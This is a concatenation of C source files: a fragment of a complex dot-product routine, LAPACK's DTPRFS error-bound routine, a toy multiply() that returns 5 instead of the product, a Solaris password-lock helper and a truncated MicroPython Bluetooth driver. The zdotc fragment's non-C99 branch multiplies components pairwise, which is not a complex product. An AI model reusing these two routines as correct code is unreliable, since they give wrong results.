dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static integer c__1 = 1; static doublereal c_b19 = -1.; /* > \brief \b DTPRFS */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download DTPRFS + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/dtprfs. f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/dtprfs. f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/dtprfs. f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE DTPRFS( UPLO, TRANS, DIAG, N, NRHS, AP, B, LDB, X, LDX, */ /* FERR, BERR, WORK, IWORK, INFO ) */ /* CHARACTER DIAG, TRANS, UPLO */ /* INTEGER INFO, LDB, LDX, N, NRHS */ /* INTEGER IWORK( * ) */ /* DOUBLE PRECISION AP( * ), B( LDB, * ), BERR( * ), FERR( * ), */ /* $ WORK( * ), X( LDX, * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > DTPRFS provides error bounds and backward error estimates for the */ /* > solution to a system of linear equations with a triangular packed */ /* > coefficient matrix. */ /* > */ /* > The solution matrix X must be computed by DTPTRS or some other */ /* > means before entering this routine. DTPRFS does not do iterative */ /* > refinement because doing so cannot improve the backward error. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] UPLO */ /* > \verbatim */ /* > UPLO is CHARACTER*1 */ /* > = 'U': A is upper triangular; */ /* > = 'L': A is lower triangular. */ /* > \endverbatim */ /* > */ /* > \param[in] TRANS */ /* > \verbatim */ /* > TRANS is CHARACTER*1 */ /* > Specifies the form of the system of equations: */ /* > = 'N': A * X = B (No transpose) */ /* > = 'T': A**T * X = B (Transpose) */ /* > = 'C': A**H * X = B (Conjugate transpose = Transpose) */ /* > \endverbatim */ /* > */ /* > \param[in] DIAG */ /* > \verbatim */ /* > DIAG is CHARACTER*1 */ /* > = 'N': A is non-unit triangular; */ /* > = 'U': A is unit triangular. */ /* > \endverbatim */ /* > */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The order of the matrix A. N >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] NRHS */ /* > \verbatim */ /* > NRHS is INTEGER */ /* > The number of right hand sides, i.e., the number of columns */ /* > of the matrices B and X. NRHS >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] AP */ /* > \verbatim */ /* > AP is DOUBLE PRECISION array, dimension (N*(N+1)/2) */ /* > The upper or lower triangular matrix A, packed columnwise in */ /* > a linear array. The j-th column of A is stored in the array */ /* > AP as follows: */ /* > if UPLO = 'U', AP(i + (j-1)*j/2) = A(i,j) for 1<=i<=j; */ /* > if UPLO = 'L', AP(i + (j-1)*(2*n-j)/2) = A(i,j) for j<=i<=n. */ /* > If DIAG = 'U', the diagonal elements of A are not referenced */ /* > and are assumed to be 1. */ /* > \endverbatim */ /* > */ /* > \param[in] B */ /* > \verbatim */ /* > B is DOUBLE PRECISION array, dimension (LDB,NRHS) */ /* > The right hand side matrix B. */ /* > \endverbatim */ /* > */ /* > \param[in] LDB */ /* > \verbatim */ /* > LDB is INTEGER */ /* > The leading dimension of the array B. LDB >= f2cmax(1,N). */ /* > \endverbatim */ /* > */ /* > \param[in] X */ /* > \verbatim */ /* > X is DOUBLE PRECISION array, dimension (LDX,NRHS) */ /* > The solution matrix X. */ /* > \endverbatim */ /* > */ /* > \param[in] LDX */ /* > \verbatim */ /* > LDX is INTEGER */ /* > The leading dimension of the array X. LDX >= f2cmax(1,N). */ /* > \endverbatim */ /* > */ /* > \param[out] FERR */ /* > \verbatim */ /* > FERR is DOUBLE PRECISION array, dimension (NRHS) */ /* > The estimated forward error bound for each solution vector */ /* > X(j) (the j-th column of the solution matrix X). */ /* > If XTRUE is the true solution corresponding to X(j), FERR(j) */ /* > is an estimated upper bound for the magnitude of the largest */ /* > element in (X(j) - XTRUE) divided by the magnitude of the */ /* > largest element in X(j). The estimate is as reliable as */ /* > the estimate for RCOND, and is almost always a slight */ /* > overestimate of the true error. */ /* > \endverbatim */ /* > */ /* > \param[out] BERR */ /* > \verbatim */ /* > BERR is DOUBLE PRECISION array, dimension (NRHS) */ /* > The componentwise relative backward error of each solution */ /* > vector X(j) (i.e., the smallest relative change in */ /* > any element of A or B that makes X(j) an exact solution). */ /* > \endverbatim */ /* > */ /* > \param[out] WORK */ /* > \verbatim */ /* > WORK is DOUBLE PRECISION array, dimension (3*N) */ /* > \endverbatim */ /* > */ /* > \param[out] IWORK */ /* > \verbatim */ /* > IWORK is INTEGER array, dimension (N) */ /* > \endverbatim */ /* > */ /* > \param[out] INFO */ /* > \verbatim */ /* > INFO is INTEGER */ /* > = 0: successful exit */ /* > < 0: if INFO = -i, the i-th argument had an illegal value */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup doubleOTHERcomputational */ /* ===================================================================== */ /* Subroutine */ int dtprfs_(char *uplo, char *trans, char *diag, integer *n, integer *nrhs, doublereal *ap, doublereal *b, integer *ldb, doublereal *x, integer *ldx, doublereal *ferr, doublereal *berr, doublereal *work, integer *iwork, integer *info) { /* System generated locals */ integer b_dim1, b_offset, x_dim1, x_offset, i__1, i__2, i__3; doublereal d__1, d__2, d__3; /* Local variables */ integer kase; doublereal safe1, safe2; integer i__, j, k; doublereal s; extern logical lsame_(char *, char *); integer isave[3]; extern /* Subroutine */ int dcopy_(integer *, doublereal *, integer *, doublereal *, integer *), daxpy_(integer *, doublereal *, doublereal *, integer *, doublereal *, integer *), dtpmv_(char *, char *, char *, integer *, doublereal *, doublereal *, integer *); logical upper; extern /* Subroutine */ int dtpsv_(char *, char *, char *, integer *, doublereal *, doublereal *, integer *), dlacn2_(integer *, doublereal *, doublereal *, integer *, doublereal *, integer *, integer *); integer kc; extern doublereal dlamch_(char *); doublereal xk; integer nz; doublereal safmin; extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen); logical notran; char transt[1]; logical nounit; doublereal lstres, eps; /* -- LAPACK computational routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Test the input parameters. */ /* Parameter adjustments */ --ap; b_dim1 = *ldb; b_offset = 1 + b_dim1 * 1; b -= b_offset; x_dim1 = *ldx; x_offset = 1 + x_dim1 * 1; x -= x_offset; --ferr; --berr; --work; --iwork; /* Function Body */ *info = 0; upper = lsame_(uplo, "U"); notran = lsame_(trans, "N"); nounit = lsame_(diag, "N"); if (! upper && ! lsame_(uplo, "L")) { *info = -1; } else if (! notran && ! lsame_(trans, "T") && ! lsame_(trans, "C")) { *info = -2; } else if (! nounit && ! lsame_(diag, "U")) { *info = -3; } else if (*n < 0) { *info = -4; } else if (*nrhs < 0) { *info = -5; } else if (*ldb < f2cmax(1,*n)) { *info = -8; } else if (*ldx < f2cmax(1,*n)) { *info = -10; } if (*info != 0) { i__1 = -(*info); xerbla_("DTPRFS", &i__1, (ftnlen)6); return 0; } /* Quick return if possible */ if (*n == 0 || *nrhs == 0) { i__1 = *nrhs; for (j = 1; j <= i__1; ++j) { ferr[j] = 0.; berr[j] = 0.; /* L10: */ } return 0; } if (notran) { *(unsigned char *)transt = 'T'; } else { *(unsigned char *)transt = 'N'; } /* NZ = maximum number of nonzero elements in each row of A, plus 1 */ nz = *n + 1; eps = dlamch_("Epsilon"); safmin = dlamch_("Safe minimum"); safe1 = nz * safmin; safe2 = safe1 / eps; /* Do for each right hand side */ i__1 = *nrhs; for (j = 1; j <= i__1; ++j) { /* Compute residual R = B - op(A) * X, */ /* where op(A) = A or A**T, depending on TRANS. */ dcopy_(n, &x[j * x_dim1 + 1], &c__1, &work[*n + 1], &c__1); dtpmv_(uplo, trans, diag, n, &ap[1], &work[*n + 1], &c__1); daxpy_(n, &c_b19, &b[j * b_dim1 + 1], &c__1, &work[*n + 1], &c__1); /* Compute componentwise relative backward error from formula */ /* f2cmax(i) ( abs(R(i)) / ( abs(op(A))*abs(X) + abs(B) )(i) ) */ /* where abs(Z) is the componentwise absolute value of the matrix */ /* or vector Z. If the i-th component of the denominator is less */ /* than SAFE2, then SAFE1 is added to the i-th components of the */ /* numerator and denominator before dividing. */ i__2 = *n; for (i__ = 1; i__ <= i__2; ++i__) { work[i__] = (d__1 = b[i__ + j * b_dim1], abs(d__1)); /* L20: */ } if (notran) { /* Compute abs(A)*abs(X) + abs(B). */ if (upper) { kc = 1; if (nounit) { i__2 = *n; for (k = 1; k <= i__2; ++k) { xk = (d__1 = x[k + j * x_dim1], abs(d__1)); i__3 = k; for (i__ = 1; i__ <= i__3; ++i__) { work[i__] += (d__1 = ap[kc + i__ - 1], abs(d__1)) * xk; /* L30: */ } kc += k; /* L40: */ } } else { i__2 = *n; for (k = 1; k <= i__2; ++k) { xk = (d__1 = x[k + j * x_dim1], abs(d__1)); i__3 = k - 1; for (i__ = 1; i__ <= i__3; ++i__) { work[i__] += (d__1 = ap[kc + i__ - 1], abs(d__1)) * xk; /* L50: */ } work[k] += xk; kc += k; /* L60: */ } } } else { kc = 1; if (nounit) { i__2 = *n; for (k = 1; k <= i__2; ++k) { xk = (d__1 = x[k + j * x_dim1], abs(d__1)); i__3 = *n; for (i__ = k; i__ <= i__3; ++i__) { work[i__] += (d__1 = ap[kc + i__ - k], abs(d__1)) * xk; /* L70: */ } kc = kc + *n - k + 1; /* L80: */ } } else { i__2 = *n; for (k = 1; k <= i__2; ++k) { xk = (d__1 = x[k + j * x_dim1], abs(d__1)); i__3 = *n; for (i__ = k + 1; i__ <= i__3; ++i__) { work[i__] += (d__1 = ap[kc + i__ - k], abs(d__1)) * xk; /* L90: */ } work[k] += xk; kc = kc + *n - k + 1; /* L100: */ } } } } else { /* Compute abs(A**T)*abs(X) + abs(B). */ if (upper) { kc = 1; if (nounit) { i__2 = *n; for (k = 1; k <= i__2; ++k) { s = 0.; i__3 = k; for (i__ = 1; i__ <= i__3; ++i__) { s += (d__1 = ap[kc + i__ - 1], abs(d__1)) * (d__2 = x[i__ + j * x_dim1], abs(d__2)); /* L110: */ } work[k] += s; kc += k; /* L120: */ } } else { i__2 = *n; for (k = 1; k <= i__2; ++k) { s = (d__1 = x[k + j * x_dim1], abs(d__1)); i__3 = k - 1; for (i__ = 1; i__ <= i__3; ++i__) { s += (d__1 = ap[kc + i__ - 1], abs(d__1)) * (d__2 = x[i__ + j * x_dim1], abs(d__2)); /* L130: */ } work[k] += s; kc += k; /* L140: */ } } } else { kc = 1; if (nounit) { i__2 = *n; for (k = 1; k <= i__2; ++k) { s = 0.; i__3 = *n; for (i__ = k; i__ <= i__3; ++i__) { s += (d__1 = ap[kc + i__ - k], abs(d__1)) * (d__2 = x[i__ + j * x_dim1], abs(d__2)); /* L150: */ } work[k] += s; kc = kc + *n - k + 1; /* L160: */ } } else { i__2 = *n; for (k = 1; k <= i__2; ++k) { s = (d__1 = x[k + j * x_dim1], abs(d__1)); i__3 = *n; for (i__ = k + 1; i__ <= i__3; ++i__) { s += (d__1 = ap[kc + i__ - k], abs(d__1)) * (d__2 = x[i__ + j * x_dim1], abs(d__2)); /* L170: */ } work[k] += s; kc = kc + *n - k + 1; /* L180: */ } } } } s = 0.; i__2 = *n; for (i__ = 1; i__ <= i__2; ++i__) { if (work[i__] > safe2) { /* Computing MAX */ d__2 = s, d__3 = (d__1 = work[*n + i__], abs(d__1)) / work[ i__]; s = f2cmax(d__2,d__3); } else { /* Computing MAX */ d__2 = s, d__3 = ((d__1 = work[*n + i__], abs(d__1)) + safe1) / (work[i__] + safe1); s = f2cmax(d__2,d__3); } /* L190: */ } berr[j] = s; /* Bound error from formula */ /* norm(X - XTRUE) / norm(X) .le. FERR = */ /* norm( abs(inv(op(A)))* */ /* ( abs(R) + NZ*EPS*( abs(op(A))*abs(X)+abs(B) ))) / norm(X) */ /* where */ /* norm(Z) is the magnitude of the largest component of Z */ /* inv(op(A)) is the inverse of op(A) */ /* abs(Z) is the componentwise absolute value of the matrix or */ /* vector Z */ /* NZ is the maximum number of nonzeros in any row of A, plus 1 */ /* EPS is machine epsilon */ /* The i-th component of abs(R)+NZ*EPS*(abs(op(A))*abs(X)+abs(B)) */ /* is incremented by SAFE1 if the i-th component of */ /* abs(op(A))*abs(X) + abs(B) is less than SAFE2. */ /* Use DLACN2 to estimate the infinity-norm of the matrix */ /* inv(op(A)) * diag(W), */ /* where W = abs(R) + NZ*EPS*( abs(op(A))*abs(X)+abs(B) ))) */ i__2 = *n; for (i__ = 1; i__ <= i__2; ++i__) { if (work[i__] > safe2) { work[i__] = (d__1 = work[*n + i__], abs(d__1)) + nz * eps * work[i__]; } else { work[i__] = (d__1 = work[*n + i__], abs(d__1)) + nz * eps * work[i__] + safe1; } /* L200: */ } kase = 0; L210: dlacn2_(n, &work[(*n << 1) + 1], &work[*n + 1], &iwork[1], &ferr[j], & kase, isave); if (kase != 0) { if (kase == 1) { /* Multiply by diag(W)*inv(op(A)**T). */ dtpsv_(uplo, transt, diag, n, &ap[1], &work[*n + 1], &c__1); i__2 = *n; for (i__ = 1; i__ <= i__2; ++i__) { work[*n + i__] = work[i__] * work[*n + i__]; /* L220: */ } } else { /* Multiply by inv(op(A))*diag(W). */ i__2 = *n; for (i__ = 1; i__ <= i__2; ++i__) { work[*n + i__] = work[i__] * work[*n + i__]; /* L230: */ } dtpsv_(uplo, trans, diag, n, &ap[1], &work[*n + 1], &c__1); } goto L210; } /* Normalize error. */ lstres = 0.; i__2 = *n; for (i__ = 1; i__ <= i__2; ++i__) { /* Computing MAX */ d__2 = lstres, d__3 = (d__1 = x[i__ + j * x_dim1], abs(d__1)); lstres = f2cmax(d__2,d__3); /* L240: */ } if (lstres != 0.) { ferr[j] /= lstres; } /* L250: */ } return 0; /* End of DTPRFS */ } /* dtprfs_ */
the_stack_data/126154.c
int multiply(int x, int y) { int temp = x * y; return 5; } int main() { int five = 5; int x = multiply(five, five); return 0; }
the_stack_data/190768680.c
/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License, Version 1.0 only * (the "License"). You may not use this file except in compliance * with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolaris.org/os/licensing. * See the License for the specific language governing permissions * and limitations under the License. * * When distributing Covered Code, include this CDDL HEADER in each * file and include the License file at usr/src/OPENSOLARIS.LICENSE. * If applicable, add the following below this CDDL HEADER, with the * fields enclosed by brackets "[]" replaced with your own identifying * information: Portions Copyright [yyyy] [name of copyright owner] * * CDDL HEADER END */ /* * Copyright (c) 1996-2001 by Sun Microsystems, Inc. * All rights reserved. */ /* Copyright (c) 1988 AT&T */ /* All Rights Reserved */ #pragma ident "%Z%%M% %I% %E% SMI" #include <stdio.h> #include <signal.h> #include <fcntl.h> #include <unistd.h> /* alarm() */ #define S_WAITTIME 15 static struct flock flock = { 0, /* l_type */ 0, /* l_whence */ 0, /* l_start */ 0, /* l_len */ 0, /* l_sysid */ 0 /* l_pid */ }; /* * yplckpwdf() returns a 0 for a successful lock within W_WAITTIME * and -1 otherwise */ static int fildes = -1; extern char lockfile[]; /* ARGSUSED */ static void almhdlr(int sig) { } int yplckpwdf() { int retval; if ((fildes = creat(lockfile, 0600)) == -1) return (-1); flock.l_type = F_WRLCK; (void) sigset(SIGALRM, almhdlr); (void) alarm(S_WAITTIME); retval = fcntl(fildes, F_SETLKW, (int)&flock); (void) alarm(0); (void) sigset(SIGALRM, SIG_DFL); return (retval); } /* * ypulckpwdf() returns 0 for a successful unlock and -1 otherwise */ int ypulckpwdf() { if (fildes == -1) return (-1); flock.l_type = F_UNLCK; (void) fcntl(fildes, F_SETLK, (int)&flock); (void) close(fildes); fildes = -1; return (0); }
the_stack_data/189916.c
/* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 - 2018 Glenn Ruben Bakke * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #if BLUETOOTH_SD #include <stdio.h> #include <string.h> #include <stdbool.h> #include "py/runtime.h" #include "ble_drv.h" #include "nrf_sdm.h" #include "ble_gap.h" #include "ble.h" // sd_ble_uuid_encode #include "drivers/flash.h" #include "mphalport.h" #if MICROPY_HW_USB_CDC #include "usb_cdc.h" #endif #define BLE_DRIVER_VERBOSE 0 #if BLE_DRIVER_VERBOSE #define BLE_DRIVER_LOG printf #else #define BLE_DRIVER_LOG(...) #endif #define BLE_ADV_LENGTH_FIELD_SIZE 1 #define BLE_ADV_AD_TYPE_FIELD_SIZE 1 #define BLE_AD_TYPE_FLAGS_DATA_SIZE 1 #define MSEC_TO_UNITS(TIME, RESOLUTION) (((TIME) * 1000) / (RESOLUTION)) #define UNIT_0_625_MS (625) #define UNIT_10_MS (10000) #define APP_CFG_NON_CONN_ADV_TIMEOUT 0 // Disable timeout. #define NON_CONNECTABLE_ADV_INTERVAL MSEC_TO_UNITS(100, UNIT_0_625_MS) #define BLE_MIN_CONN_INTERVAL MSEC_TO_UNITS(12, UNIT_0_625_MS) #define BLE_MAX_CONN_INTERVAL MSEC_TO_UNITS(12, UNIT_0_625_MS) #define BLE_SLAVE_LATENCY 0 #define BLE_CONN_SUP_TIMEOUT MSEC_TO_UNITS(4000, UNIT_10_MS) #if (BLUETOOTH_SD == 110) #define MAX_TX_IN_PROGRESS (6) #else #define MAX_TX_IN_PROGRESS (10) #endif #if !defined(GATT_MTU_SIZE_DEFAULT) && defined(BLE_GATT_ATT_MTU_DEFAULT) #define GATT_MTU_SIZE_DEFAULT BLE_GATT_ATT_MTU_DEFAULT #endif #define SD_TEST_OR_ENABLE() \ if (ble_drv_stack_enabled() == 0) { \ (void)ble_drv_stack_enable(); \ } static volatile bool m_adv_in_progress; static volatile uint8_t m_tx_in_progress; static ble_drv_gap_evt_callback_t gap_event_handler; static ble_drv_gatts_evt_callback_t gatts_event_handler; static mp_obj_t mp_gap_observer; static mp_obj_t mp_gatts_observer; #if (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) static volatile bool m_primary_service_found; static volatile bool m_characteristic_found; static volatile bool m_write_done; static volatile ble_drv_adv_evt_callback_t adv_event_handler; static volatile ble_drv_gattc_evt_callback_t gattc_event_handler; static volatile ble_drv_disc_add_service_callback_t disc_add_service_handler; static volatile ble_drv_disc_add_char_callback_t disc_add_char_handler; static volatile ble_drv_gattc_char_data_callback_t gattc_char_data_handle; static mp_obj_t mp_adv_observer; static mp_obj_t mp_gattc_observer; static mp_obj_t mp_gattc_disc_service_observer; static mp_obj_t mp_gattc_disc_char_observer; static mp_obj_t mp_gattc_char_data_observer; #endif #if (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) #include "nrf_nvic.h" #define BLE_GAP_ADV_MAX_SIZE 31 #define BLE_DRV_CONN_CONFIG_TAG 1 static uint8_t m_adv_handle = BLE_GAP_ADV_SET_HANDLE_NOT_SET; static uint8_t m_scan_buffer[BLE_GAP_SCAN_BUFFER_MIN]; nrf_nvic_state_t nrf_nvic_state = {{0}, 0}; #endif #if (BLUETOOTH_SD == 110) void softdevice_assert_handler(uint32_t pc, uint16_t line_number, const uint8_t * p_file_name) { BLE_DRIVER_LOG("ERROR: SoftDevice assert!!!"); } #else void softdevice_assert_handler(uint32_t id, uint32_t pc, uint32_t info) { BLE_DRIVER_LOG("ERROR: SoftDevice assert!!!"); } #endif uint32_t ble_drv_stack_enable(void) { m_adv_in_progress = false; m_tx_in_progress = 0; #if (BLUETOOTH_SD == 110) #if BLUETOOTH_LFCLK_RC uint32_t err_code = sd_softdevice_enable(NRF_CLOCK_LFCLKSRC_RC_250_PPM_250MS_CALIBRATION, softdevice_assert_handler); #else uint32_t err_code = sd_softdevice_enable(NRF_CLOCK_LFCLKSRC_XTAL_20_PPM, softdevice_assert_handler); #endif // BLUETOOTH_LFCLK_RC #endif // (BLUETOOTH_SD == 110) #if (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) #if BLUETOOTH_LFCLK_RC nrf_clock_lf_cfg_t clock_config = { .source = NRF_CLOCK_LF_SRC_RC, .rc_ctiv = 16, .rc_temp_ctiv = 2, .accuracy = NRF_CLOCK_LF_ACCURACY_250_PPM }; #else nrf_clock_lf_cfg_t clock_config = { .source = NRF_CLOCK_LF_SRC_XTAL, .rc_ctiv = 0, .rc_temp_ctiv = 0, .accuracy = NRF_CLOCK_LF_ACCURACY_20_PPM }; #endif // BLUETOOTH_LFCLK_RC uint32_t err_code = sd_softdevice_enable(&clock_config, softdevice_assert_handler); #endif // (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) BLE_DRIVER_LOG("SoftDevice enable status: " UINT_FMT "\n", (uint16_t)err_code); err_code = sd_nvic_EnableIRQ(SD_EVT_IRQn); BLE_DRIVER_LOG("IRQ enable status: " UINT_FMT "\n", (uint16_t)err_code); #if (BLUETOOTH_SD == 110) ble_enable_params_t ble_enable_params; memset(&ble_enable_params, 0x00, sizeof(ble_enable_params)); ble_enable_params.gatts_enable_params.attr_tab_size = BLE_GATTS_ATTR_TAB_SIZE_DEFAULT; ble_enable_params.gatts_enable_params.service_changed = 0; #else ble_cfg_t ble_conf; uint32_t app_ram_start_cfg = 0x200039c0; ble_conf.conn_cfg.conn_cfg_tag = BLE_DRV_CONN_CONFIG_TAG; ble_conf.conn_cfg.params.gap_conn_cfg.conn_count = 2; ble_conf.conn_cfg.params.gap_conn_cfg.event_length = 3; err_code = sd_ble_cfg_set(BLE_CONN_CFG_GAP, &ble_conf, app_ram_start_cfg); BLE_DRIVER_LOG("BLE_CONN_CFG_GAP status: " UINT_FMT "\n", (uint16_t)err_code); memset(&ble_conf, 0, sizeof(ble_conf)); ble_conf.gap_cfg.role_count_cfg.periph_role_count = 1; ble_conf.gap_cfg.role_count_cfg.central_role_count = 1; ble_conf.gap_cfg.role_count_cfg.central_sec_count = 0; err_code = sd_ble_cfg_set(BLE_GAP_CFG_ROLE_COUNT, &ble_conf, app_ram_start_cfg); BLE_DRIVER_LOG("BLE_GAP_CFG_ROLE_COUNT status: " UINT_FMT "\n", (uint16_t)err_code); memset(&ble_conf, 0, sizeof(ble_conf)); ble_conf.conn_cfg.conn_cfg_tag = BLE_DRV_CONN_CONFIG_TAG; ble_conf.conn_cfg.params.gatts_conn_cfg.hvn_tx_queue_size = MAX_TX_IN_PROGRESS; err_code = sd_ble_cfg_set(BLE_CONN_CFG_GATTS, &ble_conf, app_ram_start_cfg); BLE_DRIVER_LOG("BLE_CONN_CFG_GATTS status: " UINT_FMT "\n", (uint16_t)err_code); #endif #if (BLUETOOTH_SD == 110) err_code = sd_ble_enable(&ble_enable_params); #else uint32_t app_ram_start = 0x200039c0; err_code = sd_ble_enable(&app_ram_start); // 8K SD headroom from linker script. BLE_DRIVER_LOG("BLE ram size: " UINT_FMT "\n", (uint16_t)app_ram_start); #endif BLE_DRIVER_LOG("BLE enable status: " UINT_FMT "\n", (uint16_t)err_code); // set up security mode ble_gap_conn_params_t gap_conn_params; ble_gap_conn_sec_mode_t sec_mode; BLE_GAP_CONN_SEC_MODE_SET_OPEN(&sec_mode); const char device_name[] = "micr"; if ((err_code = sd_ble_gap_device_name_set(&sec_mode, (const uint8_t *)device_name, strlen(device_name))) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't apply GAP parameters")); } // set connection parameters memset(&gap_conn_params, 0, sizeof(gap_conn_params)); gap_conn_params.min_conn_interval = BLE_MIN_CONN_INTERVAL; gap_conn_params.max_conn_interval = BLE_MAX_CONN_INTERVAL; gap_conn_params.slave_latency = BLE_SLAVE_LATENCY; gap_conn_params.conn_sup_timeout = BLE_CONN_SUP_TIMEOUT; if (sd_ble_gap_ppcp_set(&gap_conn_params) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't set PPCP parameters")); } return err_code; } void ble_drv_stack_disable(void) { sd_softdevice_disable(); } uint8_t ble_drv_stack_enabled(void) { uint8_t is_enabled; uint32_t err_code = sd_softdevice_is_enabled(&is_enabled); (void)err_code; BLE_DRIVER_LOG("Is enabled status: " UINT_FMT "\n", (uint16_t)err_code); return is_enabled; } void ble_drv_address_get(ble_drv_addr_t * p_addr) { SD_TEST_OR_ENABLE(); ble_gap_addr_t local_ble_addr; #if (BLUETOOTH_SD == 110) uint32_t err_code = sd_ble_gap_address_get(&local_ble_addr); #else uint32_t err_code = sd_ble_gap_addr_get(&local_ble_addr); #endif if (err_code != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't query for the device address")); } BLE_DRIVER_LOG("ble address, type: " HEX2_FMT ", " \ "address: " HEX2_FMT ":" HEX2_FMT ":" HEX2_FMT ":" \ HEX2_FMT ":" HEX2_FMT ":" HEX2_FMT "\n", \ local_ble_addr.addr_type, \ local_ble_addr.addr[5], local_ble_addr.addr[4], local_ble_addr.addr[3], \ local_ble_addr.addr[2], local_ble_addr.addr[1], local_ble_addr.addr[0]); p_addr->addr_type = local_ble_addr.addr_type; memcpy(p_addr->addr, local_ble_addr.addr, 6); } bool ble_drv_uuid_add_vs(uint8_t * p_uuid, uint8_t * idx) { SD_TEST_OR_ENABLE(); if (sd_ble_uuid_vs_add((ble_uuid128_t const *)p_uuid, idx) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't add Vendor Specific 128-bit UUID")); } return true; } bool ble_drv_service_add(ubluepy_service_obj_t * p_service_obj) { SD_TEST_OR_ENABLE(); if (p_service_obj->p_uuid->type > BLE_UUID_TYPE_BLE) { ble_uuid_t uuid; uuid.type = p_service_obj->p_uuid->uuid_vs_idx; uuid.uuid = p_service_obj->p_uuid->value[0]; uuid.uuid += p_service_obj->p_uuid->value[1] << 8; if (sd_ble_gatts_service_add(p_service_obj->type, &uuid, &p_service_obj->handle) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't add Service")); } } else if (p_service_obj->p_uuid->type == BLE_UUID_TYPE_BLE) { BLE_DRIVER_LOG("adding service\n"); ble_uuid_t uuid; uuid.type = p_service_obj->p_uuid->type; uuid.uuid = p_service_obj->p_uuid->value[0]; uuid.uuid += p_service_obj->p_uuid->value[1] << 8; if (sd_ble_gatts_service_add(p_service_obj->type, &uuid, &p_service_obj->handle) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't add Service")); } } return true; } bool ble_drv_characteristic_add(ubluepy_characteristic_obj_t * p_char_obj) { ble_gatts_char_md_t char_md; ble_gatts_attr_md_t cccd_md; ble_gatts_attr_t attr_char_value; ble_uuid_t uuid; ble_gatts_attr_md_t attr_md; memset(&char_md, 0, sizeof(char_md)); char_md.char_props.broadcast = (p_char_obj->props & UBLUEPY_PROP_BROADCAST) ? 1 : 0; char_md.char_props.read = (p_char_obj->props & UBLUEPY_PROP_READ) ? 1 : 0; char_md.char_props.write_wo_resp = (p_char_obj->props & UBLUEPY_PROP_WRITE_WO_RESP) ? 1 : 0; char_md.char_props.write = (p_char_obj->props & UBLUEPY_PROP_WRITE) ? 1 : 0; char_md.char_props.notify = (p_char_obj->props & UBLUEPY_PROP_NOTIFY) ? 1 : 0; char_md.char_props.indicate = (p_char_obj->props & UBLUEPY_PROP_INDICATE) ? 1 : 0; #if 0 char_md.char_props.auth_signed_wr = (p_char_obj->props & UBLUEPY_PROP_NOTIFY) ? 1 : 